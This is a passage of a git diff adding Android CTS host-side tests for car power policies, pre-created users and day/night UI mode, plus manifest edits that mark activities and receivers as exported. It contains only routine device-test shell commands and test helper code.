+
+        // snapshot the test result
+        endTestCase(testResult);
+
+        //TODO (b/183449315): assign the return to the status variable
+        testResult.checkTestStatus();
+
+        assertWithMessage("testDefaultPowerPolicyStateMachine").that(status).isTrue();
+    }
+
+    @Test
+    public void testPowerPolicyChange() throws Exception {
+        boolean status = true;
+        // create expected test result
+        PowerPolicyTestResult testResult = startTestCase(2);
+
+        // populate the expected test result here.
+        testResult.addCriteria("dumpstate", "6", null);
+
+        // execute the test sequence
+        dumpPowerPolicy(testResult.getTestcaseNo());
+
+        // snapshot the test result
+        endTestCase(testResult);
+
+        //TODO (b/183449315): assign the return to the status variable
+        testResult.checkTestStatus();
+
+        assertWithMessage("testPowerPolicyChange").that(status).isTrue();
+    }
+
+    @Test
+    public void testPowerPolicySilentMode() throws Exception {
+        boolean status = true;
+        // create expected test result
+        PowerPolicyTestResult testResult = startTestCase(3);
+
+        // populate the expected test result here.
+        testResult.addCriteria("dumpstate", "2", null);
+
+        // execute the test sequence
+        rebootForcedSilent();
+        dumpPowerState(testResult.getTestcaseNo());
+
+        // snapshot the test result
+        endTestCase(testResult);
+
+        //TODO (b/183449315): assign the return to the status variable
+        testResult.checkTestStatus();
+
+        assertWithMessage("testPowerPolicySilentMode").that(status).isTrue();
+    }
+
+    @Test
+    public void testPowerPolicySuspendToRAM() throws Exception {
+        boolean status = true;
+        // create expected test result
+        PowerPolicyTestResult testResult = startTestCase(4);
+
+        // populate the expected test result here.
+        testResult.addCriteria("dumpstate", "6", null);
+
+        // reboot the device to clear it to ON state
+        rebootDevice();
+
+        // execute the test sequence
+        dumpPowerState(testResult.getTestcaseNo());
+
+        // snapshot the test result
+        endTestCase(testResult);
+
+        //TODO (b/183449315): assign the return to the status variable
+        testResult.checkTestStatus();
+
+        assertWithMessage("testPowerPolicySuspendToRAM").that(status).isTrue();
+    }
+
+    @Test
+    public void testNewPowerPolicy() throws Exception {
+        boolean status = true;
+        // create expected test result
+        PowerPolicyTestResult testResult = startTestCase(5);
+
+        // populate the expected test result here.
+        testResult.addCriteria("dumpstate", "6", null);
+
+        // execute the test sequence
+        // create a fake power policy for now to pass the test
+        definePowerPolicy("123", "0 2 4", "1 3 5");
+        applyPowerPolicy("123");
+        dumpPowerPolicy(testResult.getTestcaseNo());
+
+        // snapshot the test result
+        endTestCase(testResult);
+
+        //TODO (b/183449315): assign the return to the status variable
+        testResult.checkTestStatus();
+
+        assertWithMessage("testNewPowerPolicy").that(status).isTrue();
+    }
+
+    public String fetchActivityDumpsys() throws Exception {
+        return executeCommand("shell dumpsys activity %s | grep %s",
+                ANDROID_CLIENT_ACTIVITY, POWER_POLICY_TEST_RESULT_HEADER);
+    }
+
+    private void startAndroidClient() throws Exception {
+        executeCommand(SHELL_CMD_HEADER);
+    }
+
+    private PowerPolicyTestResult startTestCase(int caseNo)
+            throws Exception {
+        PowerPolicyTestResult testResult;
+
+        if (caseNo < 1 || caseNo > MAX_TEST_CASES) {
+            throw new Exception(String.format("invalid test case number %d", caseNo));
+        }
+
+        testResult = new PowerPolicyTestResult(caseNo, mTestAnalyzer);
+        testResult.takeStartSnapshot();
+        executeCommand(TESTCASE_CMD_HEADER, caseNo, "start");
+        return testResult;
+    }
+
+    private void endTestCase(PowerPolicyTestResult testResult) throws Exception {
+        executeCommand(TESTCASE_CMD_HEADER, testResult.getTestcaseNo(), "end");
+        testResult.takeEndSnapshot();
+    }
+
+    private void rebootDevice() throws Exception {
+        executeCommand("svc power reboot");
+        waitForDeviceAvailable();
+    }
+
+    private void rebootForcedSilent() throws Exception {
+        executeCommand("reboot forcedsilent");
+        waitForDeviceAvailable();
+    }
+
+    private void dumpPowerState(int caseNo) throws Exception {
+        executeCommand(TESTCASE_CMD_HEADER, caseNo, "dumpstate");
+    }
+
+    private void dumpPowerPolicy(int caseNo) throws Exception {
+        executeCommand(TESTCASE_CMD_HEADER, caseNo, "dumppolicy");
+    }
+
+    private void definePowerPolicy(String policyId, String enabledComps,
+            String disabledComps) throws Exception {
+        executeCommand("cmd car_service define-power-policy %s --enable %s --disable %s",
+                policyId, enabledComps, disabledComps);
+    }
+
+    private void applyPowerPolicy(String policyId) throws Exception {
+        executeCommand("cmd car_service apply-power-policy %s", policyId);
+    }
+
+    private void waitForDeviceAvailable() throws Exception {
+         // ITestDevice.waitForDeviceAvailable has default boot timeout
+         // Therefore, trying twice is sufficient
+        try {
+            getDevice().waitForDeviceAvailable();
+        } catch (Exception e) {
+            CLog.w("device is not available, trying one more time");
+            getDevice().waitForDeviceAvailable();
+        }
+    }
+
+    private void killAndroidClient(String clientPkgName) throws Exception {
+        executeCommand("am force-stop %s", clientPkgName);
+    }
+
+    private boolean makeSureAndroidClientRunning(String clientPkgName) {
+        int trialCount = 5;
+        while (trialCount > 0) {
+            RunUtil.getDefault().sleep(LAUNCH_BUFFER_TIME_MS);
+            if (checkAndroidClientRunning(clientPkgName)) {
+                return true;
+            }
+            trialCount--;
+        }
+        return false;
+    }
+
+    private boolean checkAndroidClientRunning(String clientPkgName) {
+        String[] pids = getPidsOfProcess(clientPkgName);
+        return pids.length == 1;
+    }
+
+    private String[] getPidsOfProcess(String... processNames) {
+        String output;
+        String param = String.join(" ", processNames);
+        try {
+            output = executeCommand("pidof %s", param).trim();
+        } catch (Exception e) {
+            CLog.w("Cannot get pids of %s", param);
+            return new String[0];
+        }
+        if (output.isEmpty()) {
+            return new String[0];
+        }
+        String[] tokens = output.split("\\s+");
+        return tokens;
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
new file mode 100644
index 0000000..05acc3d
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/PreCreateUsersHostTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.android.tradefed.device.NativeDevice.INVALID_USER_ID;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.Presubmit;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.stream.Collectors;
+
+/**
+ * Tests for pre-created users.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class PreCreateUsersHostTest extends CarHostJUnit4TestCase {
+    private static final int DEFAULT_TIMEOUT_SEC = 20;
+    private static int sNumberCreateadUsers;
+
+    /**
+     * Uninstalls the test app.
+     */
+    @Before
+    @After
+    public void uninstallTestApp() throws Exception {
+        assumeSupportsMultipleUsers();
+        getDevice().uninstallPackage(APP_PKG);
+    }
+
+    /**
+     * Makes sure an app installed for a regular user is not visible to a pre-created user.
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedUser() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ false, /* afterReboot= */ false);
+    }
+
+    /**
+     * Same as {@link #testAppsAreNotInstalledOnPreCreatedUser()}, but for a guest user.
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedGuest() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ true, /* afterReboot= */ false);
+    }
+
+    /**
+     * Makes sure an app installed for a regular user is not visible to a pre-created user, even
+     * after the system restarts
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedUserAfterReboot() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ false, /* afterReboot= */ true);
+    }
+
+    /**
+     * Same as {@link #testAppsAreNotInstalledOnPreCreatedUserAfterReboot()}, but for a guest
+     * user.
+     */
+    @Presubmit
+    @Test
+    public void testAppsAreNotInstalledOnPreCreatedGuestAfterReboot() throws Exception {
+        appsAreNotInstalledOnPreCreatedUserTest(/* isGuest= */ true, /* afterReboot= */ true);
+    }
+
+    private void appsAreNotInstalledOnPreCreatedUserTest(boolean isGuest,
+            boolean afterReboot) throws Exception {
+        deletePreCreatedUsers();
+        requiresExtraUsers(1);
+
+        int initialUserId = getCurrentUserId();
+        int preCreatedUserId = preCreateUser(isGuest);
+
+        installPackageAsUser(APP_APK, /* grantPermission= */ false, initialUserId);
+
+        assertAppInstalledForUser(APP_PKG, initialUserId);
+        assertAppNotInstalledForUser(APP_PKG, preCreatedUserId);
+
+        if (afterReboot) {
+            restartSystemWithOnePreCreatedUserOrGuest(isGuest);
+
+            // Checks again
+            assertAppInstalledForUser(APP_PKG, initialUserId);
+            assertAppNotInstalledForUser(APP_PKG, preCreatedUserId);
+        }
+        convertPreCreatedUser(isGuest, preCreatedUserId);
+        assertAppNotInstalledForUser(APP_PKG, preCreatedUserId);
+    }
+
+    /**
+     * Verifies a pre-created user have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedUserPackages() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ false, /* afterReboot= */ false);
+    }
+
+    /**
+     * Verifies a pre-created guest have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedGuestPackages() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ true, /* afterReboot= */ false);
+    }
+
+    /**
+     * Verifies a pre-created user have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedUserPackagesAfterReboot() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ false, /* afterReboot= */ true);
+    }
+
+    /**
+     * Verifies a pre-created guest have same packages as non-precreated users.
+     */
+    @Presubmit
+    @Test
+    public void testAppPermissionsPreCreatedGuestPackagesAfterReboot() throws Exception {
+        appPermissionsPreCreatedUserPackagesTest(/* isGuest= */ true, /* afterReboot= */ true);
+    }
+
+    private void appPermissionsPreCreatedUserPackagesTest(boolean isGuest, boolean afterReboot)
+            throws Exception {
+        deletePreCreatedUsers();
+        requiresExtraUsers(2);
+
+        // Create a normal reference user
+        int referenceUserId = isGuest
+                ? createGuestUser("PreCreatedUsersTest_Reference_Guest")
+                : createFullUser("PreCreatedUsersTest_Reference_User");
+        waitUntilUserPermissionsIsReady(referenceUserId);
+        Map<String, List<String>> refPkgMap = getPackagesAndPermissionsForUser(referenceUserId);
+
+        // There can be just one guest by default, so remove it now otherwise
+        // convertPreCreatedUser() below will fail
+        if (isGuest && !afterReboot) {
+            removeUser(referenceUserId);
+        }
+
+        int initialUserId = getCurrentUserId();
+        int preCreatedUserId = preCreateUser(isGuest);
+
+        if (afterReboot) {
+            restartSystemWithOnePreCreatedUserOrGuest(isGuest);
+        }
+
+        convertPreCreatedUser(isGuest, preCreatedUserId);
+        waitUntilUserPermissionsIsReady(preCreatedUserId);
+        Map<String, List<String>> actualPkgMap = getPackagesAndPermissionsForUser(preCreatedUserId);
+
+        List<String> errors = new ArrayList<>();
+        for (String pkg: refPkgMap.keySet()) {
+            addError(errors, () ->
+                    assertWithMessage("permissions state mismatch for %s", pkg)
+                            .that(actualPkgMap.get(pkg))
+                            .isEqualTo(refPkgMap.get(pkg)));
+        }
+        assertWithMessage("found %s error", errors.size()).that(errors).isEmpty();
+    }
+
+    private void addError(List<String> error, Runnable r) {
+        try {
+            r.run();
+        } catch (Throwable t) {
+            error.add(t.getMessage());
+        }
+    }
+
+    private void assertHasPreCreatedUser(int userId) throws Exception {
+        List<Integer> existingIds = getPreCreatedUsers();
+        CLog.d("assertHasPreCreatedUser(%d): pool=%s", userId, existingIds);
+        assertWithMessage("pre-created user not found").that(existingIds).contains(userId);
+    }
+
+    private List<Integer> getPreCreatedUsers() throws Exception {
+        return onAllUsers((allUsers) -> allUsers.stream()
+                    .filter((u) -> u.otherState.contains("(pre-created)")
+                            && !u.flags.contains("DISABLED"))
+                    .map((u) -> u.id).collect(Collectors.toList()));
+    }
+
+    private int preCreateUser(boolean isGuest) throws Exception {
+        return executeAndParseCommand((output) -> {
+            int userId = INVALID_USER_ID;
+            if (output.startsWith("Success")) {
+                try {
+                    userId = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
+                    CLog.i("Pre-created user with id %d; waiting until it's initialized", userId);
+                    markUserForRemovalAfterTest(userId);
+                    waitForUserInitialized(userId);
+                    assertHasPreCreatedUser(userId);
+                    waitUntilUserDataIsPersisted(userId);
+                } catch (Exception e) {
+                    CLog.e("Exception pre-creating %s: %s", (isGuest ? "guest" : "user"), e);
+                }
+            }
+            if (userId == INVALID_USER_ID) {
+                throw new IllegalStateException("failed to pre-create user");
+            }
+            return userId;
+        }, "pm create-user --pre-create-only%s", (isGuest ? " --guest" : ""));
+    }
+
+    // TODO(b/169588446): remove method and callers once it's not needed anymore
+    private void waitUntilUserDataIsPersisted(int userId) throws InterruptedException {
+        int napTimeSec = 10;
+        CLog.i("Sleeping %ds to make sure user data for user %d is persisted", napTimeSec, userId);
+        sleep(napTimeSec * 1_000);
+    }
+
+    // TODO(b/170263003): update this method after core framewokr's refactoring for proto
+    private void waitUntilUserPermissionsIsReady(int userId) throws InterruptedException {
+        int napTimeSec = 10;
+        CLog.i("Sleeping %ds to make permissions for user %d is ready", napTimeSec, userId);
+        sleep(napTimeSec * 1_000);
+    }
+
+    private void deletePreCreatedUsers() throws Exception {
+        List<Integer> userIds = getPreCreatedUsers();
+        for (int userId : userIds) {
+            getDevice().removeUser(userId);
+        }
+    }
+
+    private void setPreCreatedUsersProperties(int value) throws DeviceNotAvailableException {
+        getDevice().setProperty("android.car.number_pre_created_users", Integer.toString(value));
+    }
+
+    private void setPreCreatedGuestsProperties(int value) throws DeviceNotAvailableException {
+        getDevice().setProperty("android.car.number_pre_created_guests", Integer.toString(value));
+    }
+
+    private void convertPreCreatedUser(boolean isGuest, int expectedId) throws Exception {
+        assertHasPreCreatedUser(expectedId);
+        String type = isGuest ? "guest" : "user";
+        int suffix = ++sNumberCreateadUsers;
+        int newUserId = isGuest
+                ? createGuestUser("PreCreatedUsersTest_ConvertedGuest_" + suffix)
+                : createFullUser("PreCreatedUsersTest_ConvertedUser_" + suffix);
+        if (newUserId == expectedId) {
+            CLog.i("Created new %s from pre-created %s with id %d", type, type, newUserId);
+            return;
+        }
+        fail("Created new " + type + " with id " + newUserId + ", which doesn't match pre-created "
+                + "id " + expectedId);
+    }
+
+    private void restartSystemWithOnePreCreatedUserOrGuest(boolean isGuest) throws Exception {
+        List<Integer> ids = getPreCreatedUsers();
+        CLog.d("Pre-created users before boot: %s", ids);
+        assertWithMessage("Should have just 1 pre-created user before boot").that(ids).hasSize(1);
+        assertUserInitialized(ids.get(0));
+
+        // CarUserService creates / remove pre-created users on boot to keep the pool constant,
+        // based on system properties. We need to tune then so the pre-created users set by this
+        // test are not changed when the system restarts.
+        if (isGuest) {
+            setPreCreatedGuestsProperties(1);
+            setPreCreatedUsersProperties(0);
+        } else {
+            setPreCreatedUsersProperties(1);
+            setPreCreatedGuestsProperties(0);
+        }
+
+        // Restart the system to make sure PackageManager preserves the installed bit
+        restartSystemServer();
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/UiModeHostTest.java b/hostsidetests/car/src/android/car/cts/UiModeHostTest.java
new file mode 100644
index 0000000..f0158f7
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/UiModeHostTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+/**
+ * Check car config consistency across day night mode switching.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class UiModeHostTest extends CarHostJUnit4TestCase {
+
+    private static final Pattern NIGHT_MODE_REGEX = Pattern.compile("Night mode: (yes|no)");
+
+    /**
+     * Test day/night mode consistency across user switching. Day/night mode config should be
+     * persistent across user switching.
+     */
+    @Test
+    public void testUserSwitchingConfigConsistency() throws Exception {
+        requiresExtraUsers(1);
+
+        int originalUserId = getCurrentUserId();
+        int newUserId = createFullUser("UiModeHostTest");
+
+        // start current user in day mode
+        setDayMode();
+        assertThat(isNightMode()).isFalse();
+
+        // set to night mode
+        setNightMode();
+        assertThat(isNightMode()).isTrue();
+
+        // switch to new user and verify night mode
+        switchUser(newUserId);
+        assertThat(isNightMode()).isTrue();
+
+        // set to day mode
+        setDayMode();
+        assertThat(isNightMode()).isFalse();
+
+        // switch bach to initial user and verify day mode
+        switchUser(originalUserId);
+        assertThat(isNightMode()).isFalse();
+    }
+
+    /**
+     * Sets the UI mode to day mode.
+     */
+    protected void setDayMode() throws Exception {
+        executeCommand("cmd car_service day-night-mode day");
+    }
+
+    /**
+     * Sets the UI mode to night mode.
+     */
+    protected void setNightMode() throws Exception {
+        executeCommand("cmd car_service day-night-mode night");
+    }
+
+    /**
+     * Returns true if the current UI mode is night mode, false otherwise.
+     */
+    protected boolean isNightMode() throws Exception {
+        return executeAndParseCommand(NIGHT_MODE_REGEX,
+                "get night mode status failed",
+                matcher -> matcher.group(1).equals("yes"),
+                "cmd uimode night");
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestAnalyzer.java b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestAnalyzer.java
new file mode 100644
index 0000000..c304fd1
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestAnalyzer.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.powerpolicy;
+
+import android.car.cts.PowerPolicyHostTest;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+public final class PowerPolicyTestAnalyzer {
+    private final PowerPolicyHostTest mHostTest;
+
+    public PowerPolicyTestAnalyzer(PowerPolicyHostTest hostTest) {
+        mHostTest = hostTest;
+    }
+
+    /**
+     * Compares results.
+     */
+    public boolean checkIfTestResultMatch(TestResultTable result1, TestResultTable result2) {
+        int size = result1.size();
+        if (size != result2.size()) {
+            return false;
+        }
+        for (int i = 0; i < size; i++) {
+            if (!result1.get(i).equals(result2.get(i))) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    public TestResultTable snapshotTestResult() throws Exception {
+        TestResultTable snapshot = new TestResultTable();
+        String shellOutput = mHostTest.fetchActivityDumpsys();
+        String[] lines = shellOutput.split("\n");
+        for (String line : lines) {
+            String[] tokens = line.split(",");
+            if (tokens.length != 3 || tokens.length != 4) {
+                CLog.w("Malformatted power policy test result: %s", line);
+                return null;
+            }
+            if (tokens.length == 3) {
+                snapshot.add(tokens[0], tokens[1], tokens[2], null);
+            } else {
+                snapshot.add(tokens[0], tokens[1], tokens[2], tokens[3]);
+            }
+        }
+        return snapshot;
+    }
+
+    /**
+     * Subtract the common front TestResultEntry items.
+     */
+    public TestResultTable getDiff(TestResultTable result1, TestResultTable result2) {
+        TestResultTable diff;
+
+        if (result1 != null && result2 != null) {
+            TestResultTable longResult = result1;
+            TestResultTable shortResult = result2;
+            if (longResult.size() < shortResult.size()) {
+                longResult = result2;
+                shortResult = result1;
+            }
+            int shortSize = shortResult.size();
+            int longSize = longResult.size();
+            int idx = 0;
+            diff = new TestResultTable();
+            for (; idx < shortSize; idx++) {
+                if (!shortResult.get(idx).equals(longResult.get(idx))) {
+                    break;
+                }
+            }
+            for (; idx < longSize; idx++) {
+                diff.add(longResult.get(idx));
+            }
+        } else if (result1 == null) {
+            diff = result2;
+        } else {
+            diff = result1;
+        }
+        return diff;
+    }
+
+    public TestResultTable getTailDiff(TestResultTable result1, TestResultTable result2) {
+        TestResultTable diff = null;
+
+        if (result1 != null && result2 != null) {
+            TestResultTable longResult = result1;
+            TestResultTable shortResult = result2;
+            if (longResult.size() < shortResult.size()) {
+                longResult = result2;
+                shortResult = result1;
+            }
+            int shortSize = shortResult.size();
+            int longSize = longResult.size();
+            diff = new TestResultTable();
+            for (int idx = shortSize; idx < longSize; idx++) {
+                diff.add(longResult.get(idx));
+            }
+        } else if (result1 == null) {
+            diff = result2;
+        } else {
+            diff = result1;
+        }
+        return diff;
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java
new file mode 100644
index 0000000..5337288
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/PowerPolicyTestResult.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.powerpolicy;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+public final class PowerPolicyTestResult {
+    private static final String TESTCASE_NAME_HEADER = "Testcase";
+    private final PowerPolicyTestAnalyzer mTestAnalyzer;
+    private final TestResultTable mExpected = new TestResultTable();
+    private TestResultTable mStartSnapshot;
+    private TestResultTable mEndSnapshot;
+    private int mTestcaseNo;
+    private String mTestcaseName;
+
+    public PowerPolicyTestResult(int caseNo, PowerPolicyTestAnalyzer testAnalyzer) {
+        mTestcaseNo = caseNo;
+        mTestcaseName = TESTCASE_NAME_HEADER + caseNo;
+        mTestAnalyzer = testAnalyzer;
+    }
+
+    public int getTestcaseNo() {
+        return mTestcaseNo;
+    }
+
+    /**
+     * Adds test passing criteria.
+     *
+     * <p> For multiple criteria, the order of adding them into this object matters.
+     */
+    public void addCriteria(String action, String powerState, String data) {
+        mExpected.add(mTestcaseName, action, powerState, data);
+    }
+
+    public void takeStartSnapshot() throws Exception {
+        if (mStartSnapshot != null) {
+            return;
+        }
+        mStartSnapshot = mTestAnalyzer.snapshotTestResult();
+    }
+
+    public void takeEndSnapshot() throws Exception {
+        if (mEndSnapshot != null) {
+            return;
+        }
+        mEndSnapshot = mTestAnalyzer.snapshotTestResult();
+    }
+
+    public boolean checkTestStatus() {
+        TestResultTable testResult = null;
+        if (mStartSnapshot == null || mEndSnapshot == null) {
+            CLog.e("start snapshot or end snapshot is null");
+            return false;
+        }
+
+        testResult = mTestAnalyzer.getTailDiff(mStartSnapshot, mEndSnapshot);
+        if (testResult == null) {
+            CLog.e("empty test result");
+            return false;
+        }
+
+        return mTestAnalyzer.checkIfTestResultMatch(mExpected, testResult);
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java b/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java
new file mode 100644
index 0000000..e8efef7
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/powerpolicy/TestResultTable.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.powerpolicy;
+
+import java.util.ArrayList;
+
+/**
+ * TestResultTable consists of a list of TestResultEntry records
+ *
+ * <p>Each record represents one entry line in the device data file,
+ * {@code /storage/emulated/obb/PowerPolicyData.txt}, which records the power
+ * state and policy behavior.
+ */
+public final class TestResultTable {
+    private final ArrayList<TestResultEntry> mTestResults = new ArrayList<TestResultEntry>();
+
+    public int size() {
+        return mTestResults.size();
+    }
+
+    public TestResultEntry get(int i) throws IndexOutOfBoundsException {
+        return mTestResults.get(i);
+    }
+
+    public void add(TestResultEntry entry) {
+        mTestResults.add(entry);
+    }
+
+    public void add(String testcase, String action, String powerState, String data) {
+        add(new TestResultEntry(testcase, action, powerState, data));
+    }
+
+    static final class TestResultEntry {
+        private final String mTestcase;
+        private final String mAction;
+        private final String mPowerState;
+        private final String mData;
+
+        TestResultEntry(String testcase, String action, String powerState, String data) {
+            mTestcase = testcase;
+            mAction = action;
+            mPowerState = powerState;
+            mData = data;
+        }
+
+        boolean equals(TestResultEntry peerEntry) {
+            if ((mTestcase == null && mTestcase != peerEntry.mTestcase)
+                    && (mTestcase != null && !mTestcase.equals(peerEntry.mTestcase))) {
+                return false;
+            }
+            if ((mAction == null && mAction != peerEntry.mAction)
+                    && (mAction != null && !mAction.equals(peerEntry.mAction))) {
+                return false;
+            }
+            if ((mPowerState == null && mPowerState != peerEntry.mPowerState)
+                    && (mPowerState != null && !mPowerState.equals(peerEntry.mPowerState))) {
+                return false;
+            }
+            if ((mData == null && mData != peerEntry.mData)
+                    && (mData != null && !mData.equals(peerEntry.mData))) {
+                return false;
+            }
+            return true;
+        }
+    }
+}
diff --git a/hostsidetests/classloaders/splits/apps/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
index d2499fb..d693c21 100644
--- a/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
+++ b/hostsidetests/classloaders/splits/apps/AndroidManifest.xml
@@ -15,29 +15,31 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.classloadersplitapp"
-    android:isolatedSplits="true"
-    android:targetSandboxVersion="2">
+     package="com.android.cts.classloadersplitapp"
+     android:isolatedSplits="true"
+     android:targetSandboxVersion="2">
 
     <application android:label="ClassloaderSplitApp"
-                 android:classLoader="dalvik.system.PathClassLoader">
+         android:classLoader="dalvik.system.PathClassLoader">
 
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
           </activity>
-          <receiver android:name=".BaseReceiver">
+          <receiver android:name=".BaseReceiver"
+               android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+                <action android:name="com.android.cts.classloadersplitapp.ACTION"/>
             </intent-filter>
           </receiver>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.classloadersplitapp" />
+         android:targetPackage="com.android.cts.classloadersplitapp"/>
 
 </manifest>
diff --git a/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml b/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
index 96807d6..6d801e9 100644
--- a/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
+++ b/hostsidetests/classloaders/splits/apps/feature_a/AndroidManifest.xml
@@ -15,20 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.classloadersplitapp"
-        featureSplit="feature_a"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.classloadersplitapp"
+     featureSplit="feature_a"
+     android:targetSandboxVersion="2">
 
     <application android:classLoader="dalvik.system.DelegateLastClassLoader">
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".feature_a.FeatureAActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_a.FeatureAReceiver">
+        <receiver android:name=".feature_a.FeatureAReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
